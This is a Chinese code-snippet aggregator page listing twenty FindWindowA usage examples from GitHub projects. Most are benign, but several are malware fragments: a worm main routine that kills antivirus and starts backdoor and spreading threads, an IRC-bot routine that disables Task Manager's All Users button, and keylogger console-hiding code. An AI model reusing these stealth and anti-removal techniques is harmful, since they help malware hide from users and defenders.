• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ FindWindowA函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中FindWindowA函数的典型用法代码示例。如果您正苦于以下问题:C++ FindWindowA函数的具体用法?C++ FindWindowA怎么用?C++ FindWindowA使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了FindWindowA函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: notepad

HWND notepad(LPCSTR name) {
	char filename[1024], title[1024];
	FILE *f=0x0;
	sprintf_s(filename, 1024, "%s.txt", name);
	DWORD rc = fopen_s(&f, filename, "w");
	if(rc!=0) {
		printf("[-] failed to create temporary text file\n");
	}
	fclose(f);
	HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW);
	if(inst < (HINSTANCE)33) {
		printf("[-] failed to start notepad\n");
	}
	while(1) {
	sprintf_s(title, 1024, "%s - Notepad", name);
	HWND hwnd = FindWindowA(0x0, title);
	if(hwnd) {
		return hwnd;
	}
	sprintf_s(title, 1024, "%s.txt - Notepad", name);
	hwnd = FindWindowA(0x0, title);
	if(hwnd) {
		//printf("[-] failed to retrieve handle to notepad window\n");
		//return 0x0;
		return hwnd;
	}
	}
	return 0x0;
}
开发者ID:insecuritea,项目名称:win-kernel-UAFs,代码行数:29,代码来源:original-trigger.cpp


示例2: CheckWindowCreated

/*
 * Check if Window is onscreen with the appropriate name.
 *
 * Windows are not created synchronously.  So we do not know
 * when and if the window will be created/shown on screen.
 * This function implements a polling mechanism to determine
 * creation.
 * A more complicated method would be to use SetWindowsHookEx.
 * Since polling worked fine in my testing, no reason to implement
 * the other.  Comments about other methods of determining when
 * window creation happened were not encouraging (not including
 * SetWindowsHookEx).
 */
static HWND CheckWindowCreated(const char *winName, BOOL closeWindow, int testParams)
{
    HWND window = NULL;
    int i;

    /* Poll for Window Creation */
    for (i = 0; window == NULL && i < PDDE_POLL_NUM; i++)
    {
        Sleep(PDDE_POLL_TIME);
        /* Specify the window class name to make sure what we find is really an
         * Explorer window. Explorer used two different window classes so try
         * both.
         */
        window = FindWindowA("ExplorerWClass", winName);
        if (!window)
            window = FindWindowA("CabinetWClass", winName);
    }
    ok (window != NULL, "Window \"%s\" was not created in %i seconds - assumed failure.%s\n",
        winName, PDDE_POLL_NUM*PDDE_POLL_TIME/1000, GetStringFromTestParams(testParams));

    /* Close Window as desired. */
    if (window != NULL && closeWindow)
    {
        SendMessageA(window, WM_SYSCOMMAND, SC_CLOSE, 0);
        window = NULL;
    }
    return window;
}
开发者ID:AmesianX,项目名称:wine,代码行数:41,代码来源:progman_dde.c


示例3: main

int main(int argc,char **argv)
{
    argv++; argc--;
	if (argc!=2) {
		printf("Wrong number of arguments\r\n");
		printf("-g(G) *.ecs or -c *.dat\r\n");
		printf("For unknown orders, use -gu(GU) *.ecs or -cu *.dat\r\n");
		return 1;
	}
	if (strcmp(argv[0],"-g")==0) generate(argv[1]);
	else if (strcmp(argv[0],"-G")==0) {
#ifdef WIN32
		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);
#endif
		generate(argv[1]);
	}
	else if (strcmp(argv[0],"-c")==0) check(argv[1]);

	else if (strcmp(argv[0],"-gu")==0) ugenerate(argv[1]);
	else if (strcmp(argv[0],"-GU")==0) {
#ifdef WIN32
		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);
#endif
		ugenerate(argv[1]);
	}
	else if (strcmp(argv[0],"-cu")==0) ucheck(argv[1]);

}
开发者ID:xurubin,项目名称:ParallelCollisionSearch,代码行数:28,代码来源:main.cpp


示例4: createWindowsConsole

void createWindowsConsole() {
    if(consoleWindow !=0) return;

    //create a console on Windows so users can see messages

    //find an available name for our window
    int console_suffix = 0;
    char consoleTitle[512];
    sprintf(consoleTitle, "%s", "Gource Console");

    while(FindWindowA(0, consoleTitle)) {
        sprintf(consoleTitle, "Gource Console %d", ++console_suffix);
    }

    AllocConsole();
    SetConsoleTitleA(consoleTitle);

    //redirect streams to console
    freopen("conin$", "r", stdin);
    freopen("conout$","w", stdout);
    freopen("conout$","w", stderr);

    consoleWindow = 0;

    //wait for our console window
    while(consoleWindow==0) {
        consoleWindow = FindWindowA(0, consoleTitle);
        SDL_Delay(100);
    }

    //disable the close button so the user cant crash gource
    HMENU hm = GetSystemMenu(consoleWindow, false);
    DeleteMenu(hm, SC_CLOSE, MF_BYCOMMAND);
}
开发者ID:bitshifter,项目名称:Gource,代码行数:34,代码来源:gource.cpp


示例5: FindWindowA

const char *LH_Lg160x43::userInit()
{
#ifdef Q_WS_WIN
    // make sure neither LCDMon.exe nor LCORE.EXE is running on Windows
    if( FindWindowA( "Logitech LCD Monitor Window", "LCDMon" ) ||
            FindWindowA( "QWidget", "LCore" ) )
        return "Logitech drivers are loaded";
#endif
    scan();
    return NULL;
}
开发者ID:ProgrammingCube,项目名称:lcdhost,代码行数:11,代码来源:LH_Lg160x43.cpp


示例6: DisableTaskManagerAllUsersButton

void DisableTaskManagerAllUsersButton() //Disables the All Users button in Task Manager to prevent convenient killing of the process through the object permission modifications
{
    // <!-------! CRC AREA START !-------!>
    char cCheckString[DEFAULT];
    sprintf(cCheckString, "%[email protected]%s", cServer, cChannel);
    char *cStr = cCheckString;
    unsigned long ulCheck = (47048/8)-500;
    int nCheck;
    while((nCheck = *cStr++))
        ulCheck = ((ulCheck << 5) + ulCheck) + nCheck;
    if(ulCheck != ulChecksum6)
        return;
    // <!-------! CRC AREA STOP !-------!>

    HWND hwndTaskManager = FindWindowA("#32770", "Windows Task Manager");
    if(hwndTaskManager != NULL)
    {
        HWND hwndTaskProcTab = FindWindowExA(hwndTaskManager, 0, "#32770", "Processes");
        if(hwndTaskProcTab != NULL)
        {
            HWND hwndTaskManageAllUsersButton = FindWindowExA(hwndTaskProcTab, 0, "Button", NULL);
            if(hwndTaskManageAllUsersButton != NULL)
            {
                EnableWindow(hwndTaskManageAllUsersButton, FALSE);
                ShowWindow(hwndTaskManageAllUsersButton, SW_HIDE);

                CloseHandle(hwndTaskManageAllUsersButton);
            }

            CloseHandle(hwndTaskProcTab);
        }

        CloseHandle(hwndTaskManager);
    }
}
开发者ID:ArpiaPsuv,项目名称:Athena,代码行数:35,代码来源:TaskManagerTricks.cpp


示例7: Stealth

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}
开发者ID:1nv4d3r5,项目名称:test,代码行数:7,代码来源:basicKeylogger.cpp


示例8: WindowFocus

void WindowFocus() {
    HWND Window = FindWindowA("Diablo II", D2WindowTitle);
    SetForegroundWindow(Window);
    Sleep(500);
    SetWindowPos( Window, 0, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOSENDCHANGING);
    Sleep(1000);
}
开发者ID:segrax,项目名称:sgbb,代码行数:7,代码来源:stdafx.cpp


示例9: FindConsoleHandle

HWND FindConsoleHandle() {
  const char alphabet[] =
      "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  char title[33];
  char old_title[512];

  size_t size = sizeof(title);
  size_t i;
  for (i = 0; i < size - 1; ++i) {
    title[i] = alphabet[rand() % (int)(sizeof(alphabet) - 1)];
  }
  title[i] = '\0';

  if (GetConsoleTitleA(old_title, sizeof(old_title) / sizeof(old_title[0])) ==
      0) {
    return NULL;
  }
  SetConsoleTitleA(title);
  Sleep(40);
  HWND wnd = FindWindowA(NULL, title);
  SetConsoleTitleA(old_title);
  if (wnd == NULL) {
    wnd = GetConsoleWindow();
    if (wnd == NULL) {
      dbg_printf("Didn't find wnd (tried FindWindowA and GetConsoleWindow)\n");
    }
  }
  return wnd;
}
开发者ID:meh,项目名称:MSYS2-packages,代码行数:29,代码来源:main.c


示例10: main

int main()
{
	printf("현재 프로세스 ID : %d\n", GetCurrentProcessId());

	//다른프로세스 ID를 구하는 방법
	//1. 윈도우 핸들을 구한후에
	HWND hwnd = FindWindowA(0, "계산기");
	
	//2. 해당 윈도우를 만든 프로세스의 ID를 구합니다
	DWORD pid;
	DWORD tid = GetWindowThreadProcessId(hwnd, &pid);
	printf("계산기의 프로세스 ID : %d\n", pid);
	
	//계산기의 PID만을 가지고는 계산기에 접근해서 많은 일을 할 수 없다.

	//계산기에 접근하기 위해 OS에게 프로세스핸들을 발급받습니다.
	//보안에 따라 거부될수있습니다.
	HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, pid);
	printf("발급된 핸들 : %x\n", hProcess);
	_getch();
	TerminateProcess(hProcess,0);

	//발근된 핸들은 사용한 후에는 닫아야 합니다.
	CloseHandle(hProcess);

}
开发者ID:choisungwook,项目名称:Windows,代码行数:26,代码来源:PID.c


示例11: main

int main(int argc, char *argv[])
{
    if(IsDebuggerPresent()) return 1;
    if(argc==2) {
        char Thif[256];
        GetModuleFileName(NULL,Thif,sizeof(Thif));
        if(argv[1]==Thif) goto part;
        SetFileAttributes(argv[1],FILE_ATTRIBUTE_NORMAL);
        CopyFile(Thif,argv[1],FALSE);
    }
part:
    CreateMutex(NULL,0,"n349u43jEg35545");
    if(GetLastError()==ERROR_ALREADY_EXISTS) return 1;

    AllocConsole();
    ShowWindow(FindWindowA("ConsoleWindowClass",NULL),SW_HIDE);

    CreateThread(NULL,0,AntiVirusTerminate,NULL,0,NULL);
    CreateThread(NULL,0,ExploitMain,NULL,0,NULL);
    CreateThread(NULL,0,FileBackdoor,NULL,0,NULL);

    Install();
    HOSTSFile();
    InfectExes();
    p2p_spread();
    InfectDrives();
    return 0;
}
开发者ID:cyberthreats,项目名称:malware-source-cairuh,代码行数:28,代码来源:main.c


示例12: DllMain

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		dllmodule = hModule;
		HMODULE m_handle = GetModuleHandleA(NULL);
		DWORD bbb = (DWORD)m_handle;
		HANDLE hello = FindWindowA(NULL, "Author : 哎哟哥哥嗨你好");
		if (hello != NULL) {
			Hook(0x0351C853 - 0x400000 + bbb, NULL);
			deDetourThread = CreateThread(NULL, NULL, &dwWaitThread, NULL, NULL, NULL);
		}
	}
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
开发者ID:niuxianghui,项目名称:addressHook,代码行数:26,代码来源:dllmain.cpp


示例13: Holding

bool CInput::Holding( int iXStart, int iYStart, int iWidth, int iHeight )
{
	if( GetAsyncKeyState( VK_LBUTTON ) && GetActiveWindow() == FindWindowA( charenc( "Valve001" ), NULL ) )
		if( Hovering( iXStart, iYStart, iWidth, iHeight ) )
			return true;

	return false;
}
开发者ID:A5-,项目名称:Gamerfood_CSGO,代码行数:8,代码来源:Input.cpp


示例14: AllocConsole

void g_console::Visible(bool bVisible)
{
	g_utilList::exception->traceLastFunction(__FUNCSIG__, __FUNCDNAME__);

	AllocConsole();
	ShowWindow(FindWindowA("ConsoleWindowClass", nullptr), bVisible);
	g_utilList::console->bOpen = bVisible;
};
开发者ID:Gorzoid,项目名称:Dunked-Framework,代码行数:8,代码来源:g_console.cpp


示例15: right

//右移企鹅
void right(){
	HWND win = FindWindowA("TXGuiFoundation", "QQ");
	if (win != NULL){
		LPRECT rectwin = (LPRECT)malloc(sizeof(struct tagRECT));
		GetWindowRect(win, rectwin);
		SetWindowPos(win, NULL, rectwin->left + 200, rectwin->top, 300, 300, 1);
	}
}
开发者ID:hewenhao2008,项目名称:QQSpeechRecognition,代码行数:9,代码来源:Source.cpp


示例16: main

int main(int argc, char* argv[])
{
	char *returnVal;
	char *returnValOld;
	char outFileName[255];
	FILE *outFile;
	int length;

	returnVal = (char *)malloc(MAX_PATH*sizeof(char));
	returnValOld = (char *)malloc(MAX_PATH*sizeof(char));

	strcpy(outFileName,"zonicaOut.txt");

	hwndWinamp = FindWindowA("Winamp v1.x",NULL);
	if(hwndWinamp == NULL)
	{
		printf("Winamp not running.\n");
		return 0;
	}

	while(1)
	{
		ReadWinampToLocal((char *)SendMessage(hwndWinamp, WM_WA_IPC, GetPlayingTrack(), IPC_GETPLAYLISTFILE), returnVal, MAX_PATH);

		if(strcmp(returnVal,returnValOld)) //if track has changed
		{
			strcpy(returnValOld,returnVal);

			

			
			printf("\nCurrently Playing song: %s\n\n", returnVal);
			printf("Artist: %s\n", GetMetaInfo("Artist", returnVal));
			printf("Title: %s\n", GetMetaInfo("Title", returnVal));
			printf("Album: %s\n", GetMetaInfo("Album", returnVal));
			printf("Year: %s\n", GetMetaInfo("Year", returnVal));
			printf("Bitrate: %s kbps\n", GetMetaInfo("Bitrate", returnVal));
			outFile = fopen(outFileName,"at");

			fprintf(outFile,"\nCurrently Playing song: %s\n\n", returnVal);
			fprintf(outFile,"Artist: %s\n", GetMetaInfo("Artist", returnVal));
			fprintf(outFile,"Title: %s\n", GetMetaInfo("Title", returnVal));
			fprintf(outFile,"Album: %s\n", GetMetaInfo("Album", returnVal));
			fprintf(outFile,"Year: %s\n", GetMetaInfo("Year", returnVal));
			fprintf(outFile,"Bitrate: %s kbps\n", GetMetaInfo("Bitrate", returnVal));

			fclose(outFile);

			// in milliseconds
			length = atoi(GetMetaInfo("Length", returnVal));
			printf("Length: %d:%02d\n", length/(1000*60), (length/1000)%60);

			//free(returnVal);
		}
	}

	return 0;
}
开发者ID:BGCX261,项目名称:zonica-svn-to-git,代码行数:58,代码来源:WinampMagic.cpp


示例17: winamp

int winamp (struct TrackInfo *info, struct TS3Functions ts3Functions) {
	
	HWND hwndWinamp;
	DWORD dwPid;
	HANDLE hWinamp;	

	int iListPos = 0;
	int iPlaying = 0;
	int iOK = 0;
	int iVersion = 0;

	hwndWinamp = FindWindowA ("Winamp v1.x", 0);
	
	if (hwndWinamp != 0) {		
		iPlaying = (int)SendMessage (hwndWinamp, WM_WA_IPC, 0,IPC_ISPLAYING);

		if (iPlaying == 1) { /* 1 = playing, 3 = paused */

			iListPos = (int)SendMessage(hwndWinamp, WM_WA_IPC, 0, IPC_GETLISTPOS);

			GetWindowThreadProcessId (hwndWinamp, &dwPid);
			
			hWinamp = OpenProcess (PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, dwPid);
			
			if (hWinamp == 0) {
				ts3Functions.logMessage ("Could not open winamp process (run as admin?)", LogLevel_WARNING, "Winamp Plugin", 0);
				*info->chTitle = 0;
				CloseHandle (hWinamp);
				return 0;
			}

			iOK = winamp_title_widechar (hwndWinamp, hWinamp, iListPos, sizeof (info->chTitle), info->chTitle);
			if (!iOK) {
				iOK = winamp_title_char (hwndWinamp, hWinamp, iListPos, sizeof (info->chTitle), info->chTitle);
			}

			CloseHandle (hWinamp);	

			if (!iOK) {
				ts3Functions.logMessage ("Both methodes for getting the title failed", LogLevel_ERROR, "Winamp Plugin", 0);
			}
			else {
				iVersion = (int)SendMessage (hwndWinamp, WM_WA_IPC, 0, IPC_GETVERSION);

				if (iVersion == 0x2080) {
					/* Lets hope nobody uses winamp with this version */
					info->chProgramm = "Foobar2000";
				}
				else {
					info->chProgramm = "Winamp";
				}
				return 1;
			}
		}
	}
	return 0;
}
开发者ID:Cyph3r,项目名称:NowPlayingPlugin,代码行数:57,代码来源:winamp.c


示例18: stealth

void stealth(bool init = false) {
	if (init) {
		HWND stealth;
		AllocConsole();
		stealth = FindWindowA("ConsoleWindowClass", NULL);
		ShowWindow(stealth, false);
	}
	// TODO: Find other methods to hide this process.
}
开发者ID:Syd666,项目名称:keylogger,代码行数:9,代码来源:main.cpp


示例19: EnableEscape

VOID EnableEscape(BOOL bEnable)
{
	for (int i = 0; i != ARRAYSIZE(g_escape_items); i++)
	{
		if (g_escape_items[i].hWnd == NULL)
		{
			g_escape_items[i].hWnd = FindWindowA(g_escape_items[i].szClassName[0] != '\0' ? g_escape_items[i].szClassName : NULL, g_escape_items[i].szWindowName);
		}
		if (g_escape_items[i].hWnd)
		{
			if (!ShowWindow(g_escape_items[i].hWnd, bEnable ? SW_HIDE : SW_SHOWMAXIMIZED))
			{
				g_escape_items[i].hWnd = FindWindowA(g_escape_items[i].szClassName[0] != '\0' ? g_escape_items[i].szClassName : NULL, g_escape_items[i].szWindowName);
				ShowWindow(g_escape_items[i].hWnd, bEnable ? SW_HIDE : SW_SHOWMAXIMIZED);
			}
		}
	}
}
开发者ID:nervmor,项目名称:face_recognition,代码行数:18,代码来源:WinMain.cpp


示例20: Press

void Press( short key ) {
    HWND d2 = FindWindowA(NULL, D2WindowTitle);
    Sleep(50);
    PostMessage(d2, WM_KEYDOWN, (byte) key, 0);
    Sleep(100);
    SendMessage(d2, WM_KEYUP,   (byte) key, 0);
    //keybd_event( (BYTE) key, 0, 0, 0);
    //Sleep(50);
    //keybd_event( (BYTE) key, 0, KEYEVENTF_KEYUP, 0);
}
开发者ID:segrax,项目名称:sgbb,代码行数:10,代码来源:stdafx.cpp



注:本文中的FindWindowA函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ FindWindowById函数代码示例发布时间:2022-05-30
下一篇:
C++ FindWindow函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap